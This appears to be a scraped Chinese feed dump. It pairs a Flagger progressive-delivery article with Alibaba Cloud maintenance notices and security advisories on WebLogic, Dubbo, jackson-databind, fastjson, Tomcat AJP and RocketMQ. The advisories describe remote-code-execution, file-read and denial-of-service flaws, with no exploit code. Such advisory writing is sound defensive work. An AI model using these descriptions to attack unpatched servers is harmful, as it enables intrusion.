        • Flagger: 会通过flagger spec(下面会介绍), 以ingress/service mesh的规范来调整primary和canary的流量策略.以此来达到A/B testing, blue/green, canary(金丝雀)发布效果. 在调整流量过程中, 根据prometheus采集的各项指标(RT,成功率等)来决策是否回滚发布或者继续调整流量比例。在此过程中,用户可以自定义是否人工干预,审核,收到通知等.

        实现原理

        注: 以下原理介绍, 主要基于以下的官方的实例说明:

        apiVersion: flagger.app/v1beta1
        kind: Canary
        metadata:
          name: podinfo
          namespace: test
        spec:
          # service mesh provider (optional)
          # can be: kubernetes, istio, linkerd, appmesh, nginx, contour, gloo, supergloo
          provider: istio
          # deployment reference
          targetRef:
            apiVersion: apps/v1
            kind: Deployment
            name: podinfo
          # the maximum time in seconds for the canary deployment
          # to make progress before it is rollback (default 600s)
          progressDeadlineSeconds: 60
          # HPA reference (optional)
          autoscalerRef:
            apiVersion: autoscaling/v2beta1
            kind: HorizontalPodAutoscaler
            name: podinfo
          service:
            # service name (defaults to targetRef.name)
            name: podinfo
            # ClusterIP port number
            port: 9898
            # container port name or number (optional)
            targetPort: 9898
            # port name can be http or grpc (default http)
            portName: http
            # add all the other container ports
            # to the ClusterIP services (default false)
            portDiscovery: true
            # HTTP match conditions (optional)
            match:
              - uri:
                  prefix: /
            # HTTP rewrite (optional)
            rewrite:
              uri: /
            # request timeout (optional)
            timeout: 5s
          # promote the canary without analysing it (default false)
          skipAnalysis: false
          # define the canary analysis timing and KPIs
          analysis:
            # schedule interval (default 60s)
            interval: 1m
            # max number of failed metric checks before rollback
            threshold: 10
            # max traffic percentage routed to canary
            # percentage (0-100)
            maxWeight: 50
            # canary increment step
            # percentage (0-100)
            stepWeight: 5
            # validation (optional)
            metrics:
            - name: request-success-rate
              # builtin Prometheus check
              # minimum req success rate (non 5xx responses)
              # percentage (0-100)
              thresholdRange:
                min: 99
              interval: 1m
            - name: request-duration
              # builtin Prometheus check
              # maximum req duration P99
              # milliseconds
              thresholdRange:
                max: 500
              interval: 30s
            - name: "database connections"
              # custom Prometheus check
              templateRef:
                name: db-connections
              thresholdRange:
                min: 2
                max: 100
              interval: 1m
            # testing (optional)
            webhooks:
              - name: "conformance test"
                type: pre-rollout
                url: http://flagger-helmtester.test/
                timeout: 5m
                metadata:
                  type: "helmv3"
                  cmd: "test run podinfo -n test"
              - name: "load test"
                type: rollout
                url: http://flagger-loadtester.test/
                metadata:
                  cmd: "hey -z 1m -q 10 -c 2 http://podinfo.test:9898/"
            # alerting (optional)
            alerts:
              - name: "dev team Slack"
                severity: error
                providerRef:
                  name: dev-slack
                  namespace: flagger
              - name: "qa team Discord"
                severity: warn
                providerRef:
                  name: qa-discord
              - name: "on-call MS Teams"
                severity: info
                providerRef:
                  name: on-call-msteams

        简单介绍以上配置含义, 下方会单独详细介绍:
        • targetRef: 当前部署的新版本服务(可以是Deployment, 也可以是DaemonSet).
        • progressDeadlineSeconds: canary, primary部署超时时间.如果超过这个时间还没有部署好,则不会进行流量调整了。
        • autoscalerRef: K8s原生的HPA(自动伸缩).
        • service: 可以理解为k8s service概念。当provider是Istio时, 和VirtualSercice(具有调整流量比例,路由策略等能力)相对应
        • skipAnalysis:是否跳过metrcis分析. 如果为true, 相当于一次性将primary替换成canary service.
        • analysis:
        • 包含一些调整primary, canary流量策略配置
        • metrics: 指标来源. 例如: avg RT, 成功率, 自定义metrics(可以直接配置prometheus PQL)等
        • webhook:可以用来人工审核接入, 压力测试等.
        • alerts: 进度详情, 告警通知等

        整体流程

        flow
        说明:
        • 上图Start到End的整个流程是在一个定时器中执行
        • 上图中cancary和Canary不是同一个含义. Canary一般指Canary(Kind)对象或者指Canary 部署策略, canary指的是targetRef的对象(deployment, service)。
        VirtualSerivice(privider是Istio): 是A/B testing, Blue/Green, Canry Release实现的关键. 具体可以参考Istio关于VirtualService相关介绍
        • 关于A/B testing, Blue/Green, Canary下文会详细介绍

        部署策略

        A/B testing

        analysis:
            # schedule interval (default 60s)
            interval: 1m
            # total number of iterations
            iterations: 10
            # max number of failed iterations before rollback
            threshold: 2
            # canary match condition
            match:
              - headers:
                  x-canary:
                    regex: ".*insider.*"
              - headers:
                  cookie:
                    regex: "^(.*?;)?(canary=always)(;.*)?$"

        以上面代码示例为例:
        • 会在创建VirtualService过(istio)程中, 设置多个HTTPRoute.
        • 默认流量, 访问primary service
        • 通过http header或者cookie 正则匹配方式, 将流量路由到canary service.
        • 整个流程会执行10次,每次间隔1分钟, 最多允许2次metrics验证失败. 如果超过2次, 则进行回滚.
        • 正常结束后, 会执行"confirm-promotion" webhook, 确认是否将primary替换成cannay

        • 如果是, 会将primary替换成cananry的spec(deployemnt spec, configmap)相关信息
        • 如果否, 继续等待
        

        Blue/Green

         analysis:
            # schedule interval (default 60s)
            interval: 1m
            # total number of iterations
            iterations: 10
            # max number of failed iterations before rollback
            threshold: 2
            webhooks:
             - name: "load test"
               type: rollout
               url: http://flagger-loadtester.test/
               metadata:
                 cmd: "hey -z 1m -q 10 -c 2 http://podinfo.test:9898/"

        以上面代码示例为例:
        • 整个流程会执行10次,每次间隔1分钟, 最多允许2次metrics验证失败.如果超过2次, 则进行回滚.
        • 在这段时间会对canary service进行压力测试
        • 正常结束后, 会执行"confirm-promotion" webhook, 确认是否将primary替换成cannay

        • 如果是, 会将primary替换成cananry的spec(deployemnt spec, configmap)相关信息
        • 如果否, 继续等待

        如果配置了mirror=true(只有provider=istio时才支持该特性), 则会使用istio的mirror特性, 将流量分别copy 到primary和canary, 使用primary的reponse作为返回值. 这个时候要特别注意业务是否幂等.

        Canary

        analysis:
            # schedule interval (default 60s)
            interval: 1m
            # max number of failed metric checks before rollback
            threshold: 2
            # max traffic percentage routed to canary
            # percentage (0-100)
            maxWeight: 50
            # canary increment step
            # percentage (0-100)
            stepWeight: 2
          # deploy straight to production without
          # the metrics and webhook checks
          skipAnalysis: false

        以上面代码示例为例:
        • 整个流程会执行25(maxWeight/maxWeight)次,每次间隔1分钟, 最多允许2次metrics验证失败.如果超过2次, 则进行回滚.
        • 每次primary减少stepWeight%流量, canary增加stepWeight%流量, 直到canary到达maxWeight
        • 执行"confirm-promotion" webhook, 确认是否将primary替换成cannay

        • 如果是, 会将primary替换成cananry的spec(deployemnt spec, configmap)相关信息
        • 如果否, 继续等待
        

        其它

        Webhooks

        webhooks: 在整个发布过程中, 定义了相应的扩展点:
        • confirm-rollout: 在canary接收流量之前执行. 可以用于人工审核发布, 自动化测试通过等场景.
        如果该webhook没有返回成功(例如:请求返回状态码200), 则发布一直等待.
        • pre-rollout: 在第一次切流到canary前执行的webhook. 如果执行失败次数超过阀值, 则进行回滚
        • rollout: 在发布的每个周期(例如每个stepWeight)中的metrics分析之前执行.如果执行失败次数超过阀值, 则进行回滚
        • confirm-promotion: 在primary变更到canary配置相关信息之前执行.
        如果不成功, 会一直等待.在等待的过程中, Flagger会继续执行metrics验证直到最终回滚.
        • post-rollout: 在rollback或者finish后执行. 如果执行失败只会记录Event日志。
        • rollback: 当Canary处于Progressing或者Waiting状态时. 提供人工执行回滚的能力.
        • event: 在每个生命周期,都会产生一些相关k8s event. 如果配置event webhook, 则在产生k8s event的同时,发送相关event事件信息.

        Metrics

        Metrics: 用于决策(A/B, Blue/Green, Canary)流量是否验证失败, 超过制定阀值(threshold)就会回滚发布
        • 缺省自带的metrics

        analysis:
            metrics:
            - name: request-success-rate
              interval: 1m
              # minimum req success rate (non 5xx responses)
              # percentage (0-100)
              thresholdRange:
                min: 99
            - name: request-duration
              interval: 1m
              # maximum req duration P99
              # milliseconds
              thresholdRange:
                max: 500
        • request-success-rate(请求成功率). 上例说明成功率不能低于99%
        • request-duration(avg RT): RT均值不能超过500ms
          request-success-rate和request-duration是Flagger缺省自带的metrics.

        不同的provider有不通实现. 例如:应用可以提供prometheus metrics

        • 自定义metrics

        1. 创建MetricTemplate. 比如业务自定义的业务metrics, 如订单支付失败率
        apiVersion: flagger.app/v1beta1
        kind: MetricTemplate
        metadata:
          name: not-found-percentage
          namespace: istio-system
        spec:
          provider:
            type: prometheus
            address: http://promethues.istio-system:9090
          query: |
            100 - sum(
                rate(
                    istio_requests_total{
                      reporter="destination",
                      destination_workload_namespace="{{ namespace }}",
                      destination_workload="{{ target }}",
                      response_code!="404"
                    }[{{ interval }}]
                )
            )
            /
            sum(
                rate(
                    istio_requests_total{
                      reporter="destination",
                      destination_workload_namespace="{{ namespace }}",
                      destination_workload="{{ target }}"
                    }[{{ interval }}]
                )
            ) * 100
        1. 引用MetricTemplate

          analysis:
             metrics:
          - name: "404s percentage"
           templateRef:
             name: not-found-percentage
             namespace: istio-system
           thresholdRange:
             max: 5
           interval: 1m

          上例表示canary的关于404错误/s的metrics不能超过5%

        Alter

        Alter: 用于发布过程中信息通知.
        1.定义AlterProvider(可以是slack, 也可以是dingding)

        apiVersion: flagger.app/v1beta1
        kind: AlertProvider
        metadata:
          name: on-call
          namespace: flagger
        spec:
          type: slack
          channel: on-call-alerts
          username: flagger
          # webhook address (ignored if secretRef is specified)
          address: https://hooks.slack.com/services/YOUR/SLACK/WEBHOOK
          # secret containing the webhook address (optional)
          secretRef:
            name: on-call-url
        ---
        apiVersion: v1
        kind: Secret
        metadata:
          name: on-call-url
          namespace: flagger
        data:
          address: <encoded-url>

        2.使用Alter

        analysis:
            alerts:
              - name: "on-call Slack"
                severity: error
                providerRef:
                  name: on-call
                  namespace: flagger

        • serverity: 通知信息的等级, 类似日志级别. 包含info, warn, error
        在整个部署过程中,不同阶段都会使用alter来发送通知信息, 例如发布成功, webhook执行失败等场景。

        总结

        • Flagger对应用自动化发布流程进行了很好的抽象, 提供了丰富的扩展机制(webhook, alter, metrics等).
        这些特性比较吸引人,那是否能能直接就能在集团内使用呢?
        答案是不行。Flagger要求应用构建在k8s基础上, 例如服务发现机制, 另外要求部署Ingress/service mesh(这两者都具备调整流量策略的能力). 以HSF为例,它的服务发现机制是根据configserver, 服务是面向接口, 而不是应用。
        如果不经过一定改造,估计还是无法使用.

        • 另外Flagger也有一些改进的地方(我个人人为):
        canary实例在切流过程中的扩缩容是根据HPA(如果配置了)来进行的, HPA扩缩容不及时就会对业务有影响.
        改进方案: 可以根据stepWeight的变化动态调整canary的实例数, 这个只针对Canary release.
        对于Blue/Green, A/B tesing可以通过webhook提前准备容量.

        • Flagger正在规划primary和canary流量比较特性,这个似乎和集团Doom干的是同一件事情。未来可以期待一下.

        ]]>
        【升级】2月28日DDoS高防(国际)系统升级通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【DDoS高防】【升级通知】

        升级窗口:北京时间 2020年2月28日 00:00-06:00

        升级内容:DDoS高防(国际)产品日本机房进行网络升级操作
        升级影响:升级期间,业务无影响,极端情况下部分IP需要重新连接,会导致TCP连接闪断2-4次。闪断对短连接和具备自动重连的长连接业务基本无影响,请确保您在业务上做好重连重试机制,以增强业务的容错能力。

        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

        ]]>
        【升级】3月消息服务MNS升级计划通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【消息服务MNS】【升级通知】

        升级窗口:

        北京时间2020年3月5日 00:00 - 06:00

        北京时间2020年3月12日 00:00 - 06:00

        北京时间2020年3月19日 00:00 - 06:00

        北京时间2020年3月26日 00:00 - 06:00

        升级内容:华北1(青岛)、华北2(北京)、华北3(张家口)、华北5(呼和浩特)、华东1(杭州)、华东2(上海)、华南1(深圳)、华东2金融云、华南1金融云、华北2政务云、香港、亚太东南1(新加坡)、亚太东南2(悉尼)、亚太东南5(雅加达)、亚太南部1(孟买)、中东东部1(迪拜)、欧洲中部1(法兰克福)、美国东部1(弗吉尼亚)、美国西部1(硅谷)、英国(伦敦)等地域的消息服务升级。

        升级影响:升级期间MNS相关服务及控制台访问可能会出现闪断或者拒绝连接现象,每次闪断或拒绝连接不会超过1分钟,请在客户端中做好重连重试机制。如需在控制台进行管理操作,请避开维护时间段。

        给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

        ]]>
        【升级】3月消息队列MQ升级计划通知(更新) Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【消息队列MQ】【升级通知】

        升级窗口:(已更新)

        北京时间2020年3月5日 01:00 - 09:00

        北京时间2020年3月10日 01:00 - 09:00

        北京时间2020年3月12日 01:00 - 09:00

        北京时间2020年3月17日 01:00 - 09:00

        北京时间2020年3月19日 01:00 - 09:00

        北京时间2020年3月24日 01:00 - 09:00

        北京时间2020年3月26日 01:00 - 09:00

        北京时间2020年3月31日 01:00 - 09:00
        升级内容:所有地域的MQ服务(包含Tcp、Mqtt、Http接入方式)。

        升级影响:升级期间MQ控制台和集群中每个服务节点可能出现秒级闪断(闪断时间和集群规模正相关),客户端会自动重试机制,一般不会影响业务,但可能会有异常日志。
        升级期间,消息可能会有重复,应用应该按最值实践,做好消息的幂等;同时可能会有消息延迟的现象。
        如需在控制台进行管理操作,请避开维护时间段。HTTP接入可能会出现闪断或者拒绝连接现象,每次闪断或拒绝连接不会超过1分钟,请在客户端中做好重连重试机制。同时,您可使用监控管理功能对重要业务进行监控,具体设置方法请点击MQ控制台左侧监控报警菜单。

        给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

        ]]>
        【漏洞预警】WebLogic多个高危漏洞预警 Fri, 02 May 2025 09:39:04 +0800

        2020年1月15日,阿里云应急响应中心监测到Oracle官方发布安全公告,披露WebLogic服务器存在多个高危漏洞,包括反序列化等。黑客利用漏洞可能可以远程获取WebLogic服务器权限,风险较大。


        漏洞描述

        CVE-2020-2551中,未经授权的攻击者可以利用Internet Inter-ORB Protocol(互联网内部对象请求代理协议)从而接管WebLogic服务器。

        CVE-2020-2546中,未经授权的攻击者则通过构造T3协议请求,绕过WebLoig的反序列化黑名单,从而接管WebLogic服务器。

        CVE-2020-2555中,未经授权的攻击者则通过构造T3协议请求,绕过WebLoig的反序列化黑名单,从而接管WebLogic服务器。


        漏洞评级

        CVE-2020-2551:严重

        CVE-2020-2546:严重

        CVE-2020-2555:严重

        影响版本

        WebLogic 10.3.6.0.0

        WebLogic 12.1.3.0.0

        WebLogic 12.2.1.3.0

        WebLogic 12.2.1.4.0


        安全建议


        一、禁用T3协议

        如果您不依赖T3协议进行JVM通信,可通过暂时阻断T3协议缓解此漏洞带来的影响。

        1. 进入Weblogic控制台,在base_domain配置页面中,进入“安全”选项卡页面,点击“筛选器”,配置筛选器。

        2. 在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则框中输入:* * 7001 deny t3 t3s。

        3. 保存生效(无需重启)。




        二、禁止启用IIOP

        登陆Weblogic控制台,找到启用IIOP选项,取消勾选,重启生效



        三、升级官方补丁


        相关链接

        https://www.oracle.com/security-alerts/cpujan2020.html



        我们会关注后续进展,请随时关注官方公告。

        如有任何问题,可随时通过工单或服务电话95187联系反馈。

        阿里云应急响应中心

        2020.01.15

        ]]>
        【漏洞预警】Apache Dubbo反序列化漏洞(CVE-2019-17564) Fri, 02 May 2025 09:39:04 +0800

        2020年2月11日,阿里云应急响应中心监测到 CVE-2019-17564 Apache Dubbo反序列化漏洞。


        漏洞描述

        Apache Dubbo是一款应用广泛的Java RPC分布式服务框架。Dubbo支持使用HTTP协议进行远程过程调用,该协议采用 Spring 的 HttpInvoker 实现,在处理输入流时将会进行反序列化操作。因此当Dubbo在接受到来自消费者的远程恶意调用请求时候,有可能触发恶意反序列化漏洞,导致远程任意代码执行。阿里云应急响应中心提醒 Apache Dubbo用户尽快采取安全措施阻止漏洞攻击


        影响版本

        Apache Dubbo < 2.7.5


        安全版本

        Apache Dubbo >= 2.7.5


        安全建议

        1. 升级至安全版本

        2. 禁用HTTP协议,删除类似配置:<dubbo:protocol name=“http” />



        相关链接

        https://www.mail-archive.com/dev@dubbo.apache.org/msg06226.html


        云盾云安全中心应急漏洞模块已支持对该漏洞一键检测
        阿里云WAF默认防御此漏洞攻击


        我们会关注后续进展,请随时关注官方公告。

        如有任何问题,可随时通过工单或服务电话95187联系反馈。

        阿里云应急响应中心

        2020.02.12

        ]]>
        【漏洞预警】jackson-databind 反序列化远程代码执行漏洞(CVE-2020-8840) Fri, 02 May 2025 09:39:04 +0800

        2020年2月21日,阿里云应急响应中心监测到NVD发布安全通告披露jackson-databind <= 2.9.10.2存在反序列化远程代码执行漏洞(CVE-2020-8840),CVSS3评分9.8。利用漏洞可导致远程执行服务器命令,官方git已发布公告说明,请使用到jackson-databind jar组件的用户尽快升级至安全版本。


        漏洞描述

        jackson-databind是一套开源java高性能JSON处理器,受影响版本的jackson-databind中由于缺少某些xbean-reflect/JNDI黑名单类,如org.apache.xbean.propertyeditor.JndiConverter,可导致攻击者使用JNDI注入的方式实现远程代码执行,漏洞需要配合xbean-reflect-*.jar组件才能成功利用,影响面适中。阿里云应急响应中心提醒jackson-databind用户尽快采取安全措施阻止漏洞攻击。


        风险评级

        CVE-2020-8840 中危


        影响版本

        jackson-databind 2.9系列 < 2.9.10.3

        jackson-databind 2.8系列 < 2.8.11.5

        jackson-databind 低于2.8系列


        安全版本

        jackson-databind 2.10系列 全版本

        jackson-databind 2.9系列 >= 2.9.10.3

        jackson-databind 2.8系列 >= 2.8.11.5


        安全建议


        以下任意一种方法均可实现漏洞修复


        1、针对使用到jackson-databind组件的web服务升级jackson-databind组件至安全版本:https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-databind/2.9.10.3/

        https://github.com/FasterXML/jackson-databind/releases


        2、针对无法升级jackson-databind的,排查并将xbean-reflect-*.jar组件从应用依赖中移除可阻止漏洞攻击(可能会导致应用不可用风险)


        相关链接

        https://github.com/FasterXML/jackson-databind/issues/2620

        https://nvd.nist.gov/vuln/detail/CVE-2020-8840

        https://github.com/FasterXML/jackson-databind/releases



        阿里云WAF默认防御此漏洞攻击


        我们会关注后续进展,请随时关注官方公告。

        如有任何问题,可随时通过工单或服务电话95187联系反馈。

        阿里云应急响应中心

        2020.02.21

        ]]>
        【漏洞预警】fastjson < 1.2.66 反序列化远程代码执行漏洞 Fri, 02 May 2025 09:39:04 +0800

        近日,阿里云应急响应中心监测到fastjson官方git披露fastjson存在最新反序列化远程代码执行漏洞攻击Gadgets,利用该最新的Gadgets,攻击者可远程执行服务器任意命令,继而控制服务器权限,风险极大。官方已发布最新版本1.2.66修复该漏洞,请使用到fastjson的用户尽快升级至安全版本。


        漏洞描述

        fastjson采用黑名单的方法来防御反序列化漏洞,导致当黑客不断发掘新的可攻击的反序列化Gadgets类时,则可轻松绕过黑名单防御机制,反序列化漏洞就会再次出现。fastjson自1.2.5X以上默认关闭autotype,默认配置不受漏洞影响。阿里云应急响应中心提醒fastjson用户尽快采取安全措施阻止漏洞攻击。


        影响版本

        fastjson < 1.2.66


        安全版本

        fastjson >= 1.2.66

        fastjson自1.2.5X版本以上默认关闭autotype,默认配置不受漏洞影响


        安全建议

        升级至安全版本,参考下载链接:http://repo1.maven.org/maven2/com/alibaba/fastjson/


        相关链接

        https://github.com/alibaba/fastjson/releases/tag/1.2.66


        云盾云安全中心应急漏洞模块已支持对该漏洞一键检测

        云盾云防火墙已可防御此漏洞攻击

        云盾网站威胁扫描系统已支持对该漏洞检测

        阿里云WAF默认防御此漏洞攻击

        我们会关注后续进展,请随时关注官方公告。

        如有任何问题,可随时通过工单或服务电话95187联系反馈。

        阿里云应急响应中心

        2020.03.02

        ]]>
        【升级】2月消息队列AMQP升级计划通知(更新) Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【消息队列AMQP】【升级通知】

        升级窗口(已更新):

        北京时间2020年2月6日 00:00 - 06:00

        北京时间2020年2月10日 00:00 - 06:00

        北京时间2020年2月13日 00:00 - 06:00

        北京时间2020年2月14日 00:00 - 06:00

        北京时间2020年2月18日 00:00 - 06:00

        北京时间2020年2月20日 00:00 - 06:00

        北京时间2020年2月21日 00:00 - 06:00

        北京时间2020年2月25日 00:00 - 06:00

        北京时间2020年2月26日 00:00 - 06:00

        北京时间2020年2月28日 00:00 - 06:00

        升级内容:华北1(青岛)、华北2(北京)、华东1(杭州)、华东2(上海)、华南1(深圳)等地域的消息队列AMQP服务升级。

        升级影响:升级期间消息队列AMQP相关服务及控制台访问可能会出现闪断或者拒绝连接现象,每次闪断或拒绝连接不会超过1分钟,请在客户端中做好重连重试机制。如需在控制台进行管理操作,请避开维护时间段。

        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

        ]]>
        【升级】2月消息服务MNS升级计划通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【消息服务MNS】【升级通知】

        北京时间2020年2月13日 00:00 - 06:00

        北京时间2020年2月20日 00:00 - 06:00

        北京时间2020年2月27日 00:00 - 06:00

        升级内容:华北1(青岛)、华北2(北京)、华北3(张家口)、华北5(呼和浩特)、华东1(杭州)、华东2(上海)、华南1(深圳)、华东2金融云、华南1金融云、华北2政务云、香港、亚太东南1(新加坡)、亚太东南2(悉尼)、亚太东南5(雅加达)、亚太南部1(孟买)、中东东部1(迪拜)、欧洲中部1(法兰克福)、美国东部1(弗吉尼亚)、美国西部1(硅谷)、英国(伦敦)等地域的消息服务升级。
        升级影响:升级期间MNS相关服务及控制台访问可能会出现闪断或者拒绝连接现象,每次闪断或拒绝连接不会超过1分钟,请在客户端中做好重连重试机制。如需在控制台进行管理操作,请避开维护时间段。

        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

        ]]>
        【升级】2月消息队列MQ升级计划通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【消息队列MQ】【升级通知】

        升级窗口:

        北京时间2020年02月13日 01:00 - 09:00

        北京时间2020年02月18日 01:00 - 09:00

        北京时间2020年02月20日 01:00 - 09:00

        北京时间2020年02月25日 01:00 - 09:00

        北京时间2020年02月27日 01:00 - 09:00
        升级内容:所有地域的MQ服务(包含Tcp、Mqtt、Http接入方式)。

        升级影响:

        升级期间MQ控制台和集群中每个服务节点可能出现秒级闪断(闪断时间和集群规模正相关),客户端会自动重试机制,一般不会影响业务,但可能会有异常日志。
        升级期间,消息可能会有重复,应用应该按最值实践,做好消息的幂等;同时可能会有消息延迟的现象。
        如需在控制台进行管理操作,请避开维护时间段。HTTP接入可能会出现闪断或者拒绝连接现象,每次闪断或拒绝连接不会超过1分钟,请在客户端中做好重连重试机制。同时,您可使用监控管理功能对重要业务进行监控,具体设置方法请点击MQ控制台左侧监控报警菜单。

        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

        ]]>
        【升级】2月13日至19日IDaaS应用身份服务升级通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【IDaaS应用身份服务】升级通知
        升级窗口:北京时间2020年2月13日 09:00- 2月19日 20:00
        升级内容:为了更好为客户提供最新的统一身份权限管理能力,IDaaS计划进行全量实例更新,更新后版本为v1.5.15。
        升级影响:正常情况下对客户无影响,极端情况下可能会出现几分钟内的服务中断。如果您的服务请求出现失败,请稍后重试。升级过程中如果遇到任何问题,可随时联系阿里云反馈。

        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

        ]]>
        【升级】 2月23日.COM/.NET注册局系统维护通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【域名】【注册局维护通知】

        维护时间:北京时间2020年2月23日 09:00 - 09:45

        维护内容:接到注册局的通知,注册局将于上述时间对后台系统进行维护升级。

        维护影响:届时 .com/.net 域名的注册、续费、信息修改和查询域名注册信息等操作,将会无法使用,在此期间会对您造成的影响如下:

        1、您提交的注册(购买)、续费、转入、赎回、一口价域名业务在支付费用后状态为“处理中”,待维护结束后将变为正常的“成功”状态;

        2、维护过程中您无法对域名注册信息进行修改,将提示修改失败。

        如果您需要注册或管理以上业务操作,建议您避开该时间段,以免给您的业务造成影响。

        由此给您带来的不便,我们表示歉意,敬请谅解。

        ]]>
        【升级】3月16日至25日物联网平台升级计划通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【物联网平台】升级通知
        升级窗口:北京时间2020年3月16日 01:00 - 25日 23:59
        升级内容:华东2(上海)设备接入点公网IP扩容,逐步更新设备接入域名DNS解析增加IP记录。
        升级影响:使用了物联网卡并且在运营商设置了定向流量IP白名单的设备,需要及时向运营商更新IP,以免对业务造成影响。
        解决方案:
        方案1(推荐):建议您提前联系运营商更新物联网卡的IP白名单,在已有记录上增加以下记录:
        106.15.173.48,101.133.195.226,101.133.196.128,101.133.196.120,47.103.190.106,
        47.102.255.146,101.133.195.141,101.133.196.118,106.14.128.70,47.103.191.238,
        101.133.195.140,47.103.183.41,47.103.183.251,101.133.196.110,101.133.196.106,
        47.103.175.231,106.15.154.181,47.102.162.163,47.103.184.100,101.133.196.109,
        47.103.184.125,101.133.196.97,101.133.196.24,47.102.164.191,101.133.196.111,
        101.133.195.208,101.133.196.117,47.103.184.65,106.14.128.45
        方案2:如果您来不及向运营商更新,希望当前设备仍旧解析到老的DNS,请工单联系我们,同时工单里请备注productKey信息。

        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

        ]]>
        【升级】2月20日至27日阿里云计费系统升级通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【计费系统】【升级通告】

        升级窗口:北京时间2020年2月20日 02:30 - 27日 22:00

        升级内容:为增强阿里云计费系统的用户体验,我们将对相关系统进行升级。

        升级影响:正常情况下无影响,极端情况下小部分客户账单查询会出现以下问题:

        1)用户标识(userid)以132/291/436/632/791/936结尾的用户,费用中心前台查询账单,只能查询T-2日前的账单。

        2)用户标识(userid)以132/291/436/632/791/936结尾的用户,调用OpenAPI查询账单,只能查询T-2日前的账单或者接口返回错误。

        3)用户标识(userid)以132/291/436/632/791/936结尾的用户,订阅OSS账单会出现1日延期。

        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。


        ]]>
        【漏洞预警】Apache Tomcat AJP协议文件读取与包含漏洞 Fri, 02 May 2025 09:39:04 +0800

        2020年2月20日,阿里云应急响应中心监测到CNVD披露 Apache Tomcat 服务器存在文件读取与包含高危漏洞。


        漏洞描述

        Apache Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器。默认情况下,Apache Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互。但Apache Tomcat在AJP协议的实现上存在漏洞,导致攻击者可以通过发送恶意的AJP请求,可以读取或者包含Web应用根目录下的任意文件,如果存在文件上传功能,将可以导致任意代码执行。漏洞利用AJP服务端口实现攻击,未开启AJP服务对外不受漏洞影响(tomcat默认将AJP服务开启并绑定至0.0.0.0)。阿里云应急响应中心提醒 Apache Tomcat用户尽快排查AJP端口对外情况并采取安全措施阻止漏洞攻击。


        影响版本

        Apache Tomcat 6

        Apache Tomcat 7 < 7.0.100

        Apache Tomcat 8 < 8.5.51

        Apache Tomcat 9 < 9.0.31


        安全版本

        Apache Tomcat 7.0.100

        Apache Tomcat 8.5.51

        Apache Tomcat 9.0.31


        安全建议


        以下任意一种方法均可实现漏洞修复


        1、升级至安全版本

        2、关闭AJP连接器,修改Tomcat的service.xml,注释掉 <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />。或者禁止Tomcat 的 AJP端口对公网开放。

        3、针对阿里云用户,可使用安全组临时禁止AJP服务端口(常见为8009端口)对外,阻止漏洞攻击,类似如下:




        相关链接

        http://tomcat.apache.org/security.html

        https://www.cnvd.org.cn/flaw/show/CNVD-2020-10487

        云盾云安全中心应急漏洞模块已支持对该漏洞一键检测


        我们会关注后续进展,请随时关注官方公告。

        如有任何问题,可随时通过工单或服务电话95187联系反馈。

        阿里云应急响应中心

        2020.02.20

        ]]>
        【漏洞预警】Apache RocketMQ 目录遍历与拒绝服务漏洞 Fri, 02 May 2025 09:39:04 +0800

        2020年2月18日,阿里云应急响应中心监测到 Apache RocketMQ 目录遍历与拒绝服务漏洞。


        漏洞描述

        Apache RocketMQ是一個分布式消息和流数据平台。在默认情况下,RocketMQ没有配置认证且开启了autoCreateTopicEnable,导致恶意客户端可以利用目录遍历漏洞,使服务端Broker在任意指定的目录下创建5.72M大小的文件夹。经进一步研究后发现,通过构造恶意的topic name可以直接导致服务端Broker拒绝服务。阿里云应急响应中心提醒 Apache RocketMQ用户尽快采取安全措施阻止漏洞攻击。


        影响版本

        Apache RocketMQ < 4.6.1


        安全版本

        Apache RocketMQ >= 4.6.1


        安全建议

        1. 升级至安全版本

        2. 禁止自动创建topic,修改Broker配置文件broker.properties,设置autoCreateTopicEnable为false.


        相关链接

        https://github.com/apache/rocketmq/issues/1637



        我们会关注后续进展,请随时关注官方公告。

        如有任何问题,可随时通过工单或服务电话95187联系反馈。

        阿里云应急响应中心

        2020.02.19

        ]]>
        【升级】1月15日至21日IDaaS应用身份服务升级通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【IDaaS应用身份服务】升级通知
        升级窗口:北京时间2020年1月15日 09:00- 1月21日 23:59
        升级内容:为了更好为客户提供最新的统一身份权限管理能力,IDaaS计划进行全量实例更新。
        升级影响:正常情况下对客户无影响,升级过程中如果遇到任何问题,可随时联系阿里云反馈。

        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

        ]]>
        【升级】1月17日消息服务MNS升级计划通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【消息服务MNS】【升级通知】

        升级窗口:北京时间2020年1月17日 00:00 - 06:00

